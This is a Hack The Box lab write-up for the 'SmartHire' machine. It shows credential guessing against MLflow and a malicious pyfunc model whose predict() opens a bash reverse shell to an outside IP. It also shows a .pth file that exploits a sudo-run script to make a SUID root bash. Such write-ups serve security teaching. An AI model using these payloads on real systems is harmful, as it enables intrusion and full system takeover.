HTB SmartHire writeup
A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”SmartHire was a web application for uploading candidate CSV files to train a machine learning model and make predictions. HTTP redirected to smarthire.htb, and virtual host enumeration found models.smarthire.htb. This vhost ran MLflow with Basic authentication, but admin:password worked.
The company and user_id of a user registered in the web application revealed the MLflow registered model name hana-95581724a925-model. The MLflow API allowed a new version to be created under that name, and /predict loaded the latest version. Registering a model whose mlflow.pyfunc.PythonModel predict() method launched a reverse shell yielded a shell as svcweb.
For privilege escalation, svcweb could run /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * as root with sudo. The script added plugin directories to the import path through site.addsitedir(), while /opt/tools/mlflow_ctl/plugins/dev was writable by the devs group. Placing a .pth file there caused Python to execute arbitrary code as root when the script started.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | SmartHire |
| Platform | Hack The Box |
| OS | Linux |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”HTTP :80 | | nmap: nginx redirects to smarthire.htb vsmarthire.htb | | ffuf Host header fuzzing vmodels.smarthire.htb -> MLflow Basic auth realm | | admin:password accepted vMLflow API access | | create malicious model version for hana-95581724a925-model vsmarthire.htb /predict loads latest model | | EvilModel.predict() executes reverse shell vsvcweb shell | | sudo -l: NOPASSWD python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * vroot runs mlflowctl.py | | site.addsitedir() processes writable plugins/dev/dev.pth v/tmp/rootbash with SUID root | vroot effective shell and root.txtTarget and Nmap
Section titled “Target and Nmap”Map the target IP in /etc/hosts.
10.129.245.215 smarthire.htb models.smarthire.htbThe command used to produce smarthire.nmap was not recorded. Based on the output, treat it as a scan of all TCP ports with service and OS detection. An equivalent command would be:
nmap -p- -sV -O --traceroute -oN smarthire.nmap 10.129.245.215Key output:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://smarthire.htb/Running: Linux 4.X|5.XOS details: Linux 4.15 - 5.19Key observations:
- The only exposed entry points were
22/tcpand80/tcp. - The HTTP title showed a redirect to
http://smarthire.htb/, so inspect it through the expected Host header and vhosts. - The OS and service banners indicated Ubuntu. The later shell confirmed Ubuntu 22.04.5 LTS.
- SSH was exposed, but without initial credentials, web enumeration took priority.
Web Enumeration
Section titled “Web Enumeration”Virtual Host
Section titled “Virtual Host”Fuzzing the Host header with ffuf found a models subdomain returning 401.
ffuf -u http://smarthire.htb \ -H "Host: FUZZ.smarthire.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ -acmodels [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 198ms]Direct access to models.smarthire.htb prompted for MLflow Basic authentication.
curl -I http://models.smarthire.htbHTTP/1.1 401 UNAUTHORIZEDWWW-Authenticate: Basic realm="mlflow"
You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate.This suggested a separate MLflow service likely related to the main application’s model training feature.
Main Application
Section titled “Main Application”feroxbuster found /login, /register, /dashboard, and /logout. Without authentication, /dashboard redirected to /login.
feroxbuster -u http://smarthire.htb \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -d 1200 GET 127l 406w 6160c http://smarthire.htb/login200 GET 131l 434w 6499c http://smarthire.htb/register200 GET 215l 875w 11255c http://smarthire.htb/302 GET 5l 22w 199c http://smarthire.htb/logout => http://smarthire.htb/login302 GET 5l 22w 199c http://smarthire.htb/dashboard => http://smarthire.htb/loginA saved copy of the dashboard HTML showed calls to these endpoints:
GET /model_infoPOST /upload_hiring_dataPOST /predict
The CSV guide in smarthire.dashboard.html listed name, skills, experience, education, position_applied, and previous_company for training data. smarthire.predict.html required experience and skills for prediction data.
Authenticated Endpoint Behavior
Section titled “Authenticated Endpoint Behavior”After registering and logging in as hana through the web UI, /model_info returned the MLflow model name.
curl -i -b "session=<SESSION>" http://smarthire.htb/model_infoHTTP/1.1 200 OK
{"model_info":null,"model_name":"hana-95581724a925-model","status":"success"}Uploading a minimal CSV created an MLflow model version.
cat > train.csv <<'EOF'a,b,c,d1,2,3,4EOF
curl -i -b "session=<SESSION>" \ -F 'file=@train.csv;type=text/csv' \ http://smarthire.htb/upload_hiring_dataHTTP/1.1 200 OK
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1781969808832,"description":"No description","version":"1"},"registered_model":"hana-95581724a925-model","status":"success"}A string in experience caused a numeric conversion error, indicating pandas- or scikit-learn-like processing behind the endpoint.
printf 'experience,skills\nAAAA,"Python"\n' > /tmp/bad.csv
curl -i -b "session=<SESSION>" \ -F 'file=@/tmp/bad.csv;type=text/csv' \ http://smarthire.htb/upload_hiring_dataHTTP/1.1 500 INTERNAL SERVER ERROR
{"message":"Could not convert string 'AAAA' to numeric","status":"error"}Flask Session
Section titled “Flask Session”The saved session cookie could be read with flask-unsign --decode.
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'{'company': 'hana', 'user_id': '95581724a925', 'username': 'hana'}The company and user_id values appeared in the registered model name hana-95581724a925-model. Brute forcing the secret key did not succeed, so the path here used the model name legitimately created by the application rather than modifying the cookie.
MLflow Enumeration
Section titled “MLflow Enumeration”Basic Authentication
Section titled “Basic Authentication”Testing a small number of Basic authentication candidates found that admin:password worked for MLflow.
for pair in \ 'admin:password' \ 'mlflow:mlflow' \ 'hana:hana' \ 'hana:95581724a925'do echo "$pair" curl -s -o /dev/null -w '%{http_code}\n' \ -u "$pair" \ http://models.smarthire.htb/api/2.0/mlflow/experiments/searchdoneadmin:password400mlflow:mlflow401hana:hana401hana:95581724a925401A 401 meant authentication failed, while only admin:password returned 400. This indicated successful authentication with a request method or body that did not match the API. Subsequent MLflow API calls worked with these credentials.
ML='http://models.smarthire.htb'AUTH='admin:password'
curl -s -u "$AUTH" \ -H 'Content-Type: application/json' \ -d '{"max_results":1000}' \ "$ML/api/2.0/mlflow/experiments/search" | jq .{ "experiments": [ { "experiment_id": "0", "name": "Default", "artifact_location": "mlflow-artifacts:/0", "lifecycle_stage": "active" } ]}Registered Model
Section titled “Registered Model”Searching MLflow for the model name returned by the web application revealed its latest version and artifact source.
curl -s -u "$AUTH" \ "$ML/api/2.0/mlflow/registered-models/search?max_results=1000" | jq .{ "registered_models": [ { "name": "hana-95581724a925-model", "latest_versions": [ { "version": "3", "source": "mlflow-artifacts:/0/3cef32ba4c474df78e6ec176a3a9a4e0/artifacts/model", "run_id": "3cef32ba4c474df78e6ec176a3a9a4e0", "status": "READY" } ] } ]}The artifact’s MLmodel showed that the target model used the python_function flavor, Python 3.10.12, MLflow 2.14.1, and cloudpickle 3.1.1.
curl -s -u "$AUTH" -G \ "$ML/model-versions/get-artifact" \ --data-urlencode "name=$MODEL" \ --data-urlencode "version=3" \ --data-urlencode "path=MLmodel"flavors: python_function: cloudpickle_version: 3.1.1 loader_module: mlflow.pyfunc.model python_model: python_model.pkl python_version: 3.10.12mlflow_version: 2.14.1run_id: 3cef32ba4c474df78e6ec176a3a9a4e0The important connection was that /predict loaded the latest version of a registered model, while the MLflow API allowed a new version under the same name. Creating version 4 with description:"probe" caused /model_info to return version 4.
curl -s -u "$AUTH" \ -H 'Content-Type: application/json' \ -d "{ \"name\":\"$MODEL\", \"source\":\"mlflow-artifacts:/0/$RUN/artifacts/model\", \"run_id\":\"$RUN\", \"description\":\"probe\" }" \ "$ML/api/2.0/mlflow/model-versions/create" | jq .{ "model_version": { "name": "hana-95581724a925-model", "version": "4", "description": "probe", "status": "READY" }}curl -i -b "session=<SESSION>" http://smarthire.htb/model_info{"model_info":{"creation_timestamp":1781971532398,"description":"probe","version":"4"},"model_name":"hana-95581724a925-model","status":"success"}Initial Access
Section titled “Initial Access”Precondition
Section titled “Precondition”The prerequisites at this point were:
- A logged-in account in the web application and its model name.
- MLflow API access with
admin:password. - Confirmation that
/predictloaded the latest model version. - Knowledge that the target model runtime used Python 3.10, MLflow 2.14.1, and cloudpickle 3.1.1.
Malicious MLflow Model
Section titled “Malicious MLflow Model”Build a model whose mlflow.pyfunc.PythonModel predict() method launched a reverse shell, then register it as a new version of the same model.
import osimport mlflowimport mlflow.pyfuncfrom mlflow.tracking import MlflowClient
ML = "http://models.smarthire.htb"MODEL = "hana-95581724a925-model"
class EvilModel(mlflow.pyfunc.PythonModel): def predict(self, context, model_input, params=None): os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.45/4444 0>&1'") return [99]
mlflow.set_tracking_uri(ML)mlflow.set_experiment("Default")
client = MlflowClient()
with mlflow.start_run() as run: run_id = run.info.run_id mlflow.pyfunc.log_model( artifact_path="model", python_model=EvilModel(), )
source = f"mlflow-artifacts:/0/{run_id}/artifacts/model"print("run_id:", run_id)print("source:", source)
mv = client.create_model_version( name=MODEL, source=source, run_id=run_id, description="evil")print("version:", mv.version)Pass the MLflow Basic credentials through environment variables when running it.
export MLFLOW_TRACKING_USERNAME=adminexport MLFLOW_TRACKING_PASSWORD=passwordpython3 evil_model.pyAt first, the target could not load a model created under Python 3.12, and /predict returned this error:
{"message":"code expected at most 16 arguments, got 18","status":"error"}Because the artifact identified Python 3.10.12 on the target, rebuild locally with Python 3.10, MLflow 2.14.1, and cloudpickle 3.1.1.
pip install 'mlflow==2.14.1' 'cloudpickle==3.1.1' pandaspython -c 'import mlflow, cloudpickle; print(mlflow.__version__, cloudpickle.__version__)'2.14.1 3.1.1The rebuilt model was registered as version 6 and ran as a normal prediction.
run_id: fd4fa9dab6c54d49ae885597d2700a3bsource: mlflow-artifacts:/0/fd4fa9dab6c54d49ae885597d2700a3b/artifacts/modelversion: 6Trigger Prediction
Section titled “Trigger Prediction”Start the listener, then send a prediction CSV to the web application’s /predict endpoint.
msf > use exploit/multi/handlermsf exploit(multi/handler) > run -j lhost=10.10.16.45 lport=4444printf 'experience,skills\n60,"Python, ML"\n' > predict.csv
curl -i -b "session=<SESSION>" \ -F 'file=@predict.csv;type=text/csv' \ http://smarthire.htb/predictVersion 6 returned [99], confirming that predict() ran.
HTTP/1.1 200 OK
{"model_info":{"creation_timestamp":1781972540272,"description":"evil","version":"6"},"prediction":[99],"status":"success"}After changing the reverse-shell IP, registering version 7, and calling /predict again, the web application returned 502 Bad Gateway but the shell connected. The 502 appeared to result from the gunicorn worker failing to finish the request normally while running the reverse shell.
User Shell
Section titled “User Shell”The shell ran as svcweb, and /home/svcweb/user.txt was readable.
ls /home/ls /home/svcwebcat /home/svcweb/user.txtsvcwebuser.txt[REDACTED]The OS was Ubuntu 22.04.5 LTS.
cat /etc/os-releasePRETTY_NAME="Ubuntu 22.04.5 LTS"VERSION_CODENAME=jammyPrivilege Escalation
Section titled “Privilege Escalation”Sudo Rule
Section titled “Sudo Rule”sudo -l showed that svcweb could run the MLflow management script as root without a password.
sudo -lUser svcweb may run the following commands on smarthire: (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *Checking local ports also showed services resembling the web application and MLflow listening on loopback.
ss -antLISTEN 0 4096 127.0.0.1:5000 0.0.0.0:*LISTEN 0 2048 127.0.0.1:8000 0.0.0.0:*LISTEN 0 511 0.0.0.0:80 0.0.0.0:*LISTEN 0 128 0.0.0.0:22 0.0.0.0:*mlflowctl.py Review
Section titled “mlflowctl.py Review”The target script was owned by root and could not be edited directly, but it added plugin directories as Python site directories.
sed -n '1,260p' /opt/tools/mlflow_ctl/mlflowctl.pyfrom pathlib import Pathimport sysimport site
BASE_DIR = Path(__file__).resolve().parentPLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importablefor path in PLUGINS_DIR.iterdir(): if path.is_dir(): site.addsitedir(str(path))
def main(): import mlflow_actions, backup_models
if len(sys.argv) < 2: print_usage()
action = sys.argv[1]
if action == "status": mlflow_actions.check_status() elif action == "backup-models": print("[*] Running backup via backup_models plugin...") backup_models.run() elif action == "restart": mlflow_actions.restart()site.addsitedir() both adds a directory to the import path and processes .pth files in it. A .pth line beginning with import ... runs when Python starts, making this an escalation path when root invokes the script with sudo.
The plugin permissions showed that plugins/dev was owned by root:devs and group writable.
find /opt/tools/mlflow_ctl/plugins -maxdepth 4 -printf '%M %u %g %p\n'drwxr-xr-x root root /opt/tools/mlflow_ctl/pluginsdrwxr-xr-x root root /opt/tools/mlflow_ctl/plugins/core-rw-r--r-- root root /opt/tools/mlflow_ctl/plugins/core/mlflow_actions.py-rw-r--r-- root root /opt/tools/mlflow_ctl/plugins/core/backup_models.pydrwxrwxr-x root devs /opt/tools/mlflow_ctl/plugins/devfind /opt/tools/mlflow_ctl -writable -ls131178 4 drwxrwxr-x 2 root devs 4096 May 12 15:22 /opt/tools/mlflow_ctl/plugins/devA later id output showed that svcweb belonged to the devs group, so it could place a .pth file in this writable directory.
Root via .pth
Section titled “Root via .pth”Place a one-line payload in the .pth file to create a root-owned SUID Bash binary, then run mlflowctl.py status with sudo to process the file.
printf '%s\n' "import os; os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" > /opt/tools/mlflow_ctl/plugins/dev/dev.pth
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status[*] Checking MLflow service status...
[+] MLflow service status: active[+] MLflow container status: 'Up About an hour'/tmp/rootbash was created as a root-owned SUID binary.
ls -l /tmp/rootbash-rwsr-xr-x 1 root root 1396520 Jun 20 16:41 /tmp/rootbashbash -p preserves the effective UID, allowing a shell with effective root privileges.
/tmp/rootbash -pidcat /root/root.txtuid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)[REDACTED]Here, uid=1000(svcweb) was the real UID and euid=0(root) was the effective UID. Running the root-owned binary with its SUID bit set left the real user as svcweb, but permission checks used the effective root UID. Because Bash can drop privileges unless started with -p, /tmp/rootbash -p was required.
This method would fail if /tmp were mounted with nosuid. Check the mount options as follows.
findmnt -no TARGET,OPTIONS /tmpThe observed euid=0(root) from /tmp/rootbash -p confirmed that SUID was effective on /tmp at the time of this run.
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”flask-unsign --unsigndid not find the secret key. Decoding the cookie alone revealedcompanyanduser_id, so modifying the cookie was unnecessary.- Sending a cookie as
-b "<cookie>"without thesession=name redirected to/login. Withcurl, use-b "session=<SESSION>". - Upload attempts using
filename=../../x.csvorx.php.csvonly increased the model version and did not lead to file writes or path traversal. - An MLflow model produced under Python 3.12 failed on the target’s Python 3.10 with
code expected at most 16 arguments, got 18. Python, MLflow, and cloudpickle versions had to match the target’sMLmodel. - Meterpreter upgrade failed after misidentifying the target platform as
bsd, but a regular shell was sufficient. - The
backup-modelsaction could create a backup as root, but the shortest path here did not need a backup symlink or tar options. The more direct issue was the combination of a writable plugin directory and.pthprocessing.
Cleanup Notes
Section titled “Cleanup Notes”Observed changes and cleanup targets:
- Versions added to the MLflow registered model
hana-95581724a925-model:- version 4:
description:"probe" - Versions 5, 6, and 7:
description:"evil"or reverse-shell tests
- version 4:
- local / uploaded tooling:
evil_model.pytrain.csvpredict.csv
- Temporary files on the target:
/opt/tools/mlflow_ctl/plugins/dev/dev.pth/tmp/rootbash- MLflow temporary directories under
/tmp/tmp*
svcweb could delete dev.pth.
rm /opt/tools/mlflow_ctl/plugins/dev/dev.pthsvcweb could not delete /tmp/rootbash because it was owned by root.
rm /tmp/rootbashrm: cannot remove '/tmp/rootbash': Operation not permittedTo delete it, run the removal command from a shell with effective root privileges.
/tmp/rootbash -p -c 'rm -f /tmp/rootbash'Resetting or stopping the HTB machine discards the generated temporary state.
Credentials and Artifacts
Section titled “Credentials and Artifacts”Credentials:
| Purpose | Value | Evidence |
|---|---|---|
| Web user | hana | Flask session decode |
| Web company | hana | Flask session decode |
| Web user_id | 95581724a925 | Flask session decode |
| MLflow Basic auth | admin:password | Returned 400 instead of 401; subsequent API calls succeeded |
Model / MLflow artifacts:
| Item | Value |
|---|---|
| Registered model | hana-95581724a925-model |
| Experiment | Default / experiment_id=0 |
| Observed MLflow version | 2.14.1 |
| Observed Python model runtime | Python 3.10.12 |
| Observed cloudpickle | 3.1.1 |
Flags:
| Flag | Path | Value |
|---|---|---|
| user | /home/svcweb/user.txt | [REDACTED] |
| root | /root/root.txt | [REDACTED] |
Important files on target:
| Path | Meaning |
|---|---|
/var/www/smarthire.htb | Web app working directory |
/opt/tools/mlflow_ctl/mlflowctl.py | Python script runnable as root with sudo |
/opt/tools/mlflow_ctl/plugins/core/mlflow_actions.py | status / restart plugin |
/opt/tools/mlflow_ctl/plugins/core/backup_models.py | MLflow backup plugin |
/opt/tools/mlflow_ctl/plugins/dev | root:devs group writable plugin directory |
/tmp/rootbash | Root SUID Bash binary created through .pth |
Required Knowledge
Section titled “Required Knowledge”Required knowledge:
- Virtual host enumeration
- Reading a Flask session cookie
- MLflow tracking / model registry API
- Code execution when loading Python pickle /
mlflow.pyfuncmodels - Behavior of Python
site.addsitedir()and.pthfiles - Linux sudo rules and SUID binaries
Final Thought
Section titled “Final Thought”The key to this box was connecting the model name, MLflow registry, and prediction endpoint rather than stopping at the web application’s surface. Once /model_info revealed a model name that matched a version creatable through the MLflow API, and /predict was shown to use the latest version, the risk of loading an MLflow model provided initial access.
For privilege escalation, the sudo-enabled script did not need an obvious command injection flaw. Its Python import path and the side effects of site.addsitedir() also mattered. In particular, .pth files are easy to overlook: when Python running as root treats a writable directory as a site directory, it effectively allows arbitrary code execution.
Key points:
- The difference between
401and400can help determine whether authentication succeeded. - An MLflow artifact’s
MLmodelprovides evidence of the target runtime’s Python and dependency versions. - Python pickle and cloudpickle artifacts can break across minor versions, so match the target runtime.
- For Python scripts runnable with sudo, inspect the import path, plugin directories,
.pthfiles, and the effects of environment reset, not only command-line arguments. - Use
/bin/bash -pto preserveeuid=0in a SUID shell.

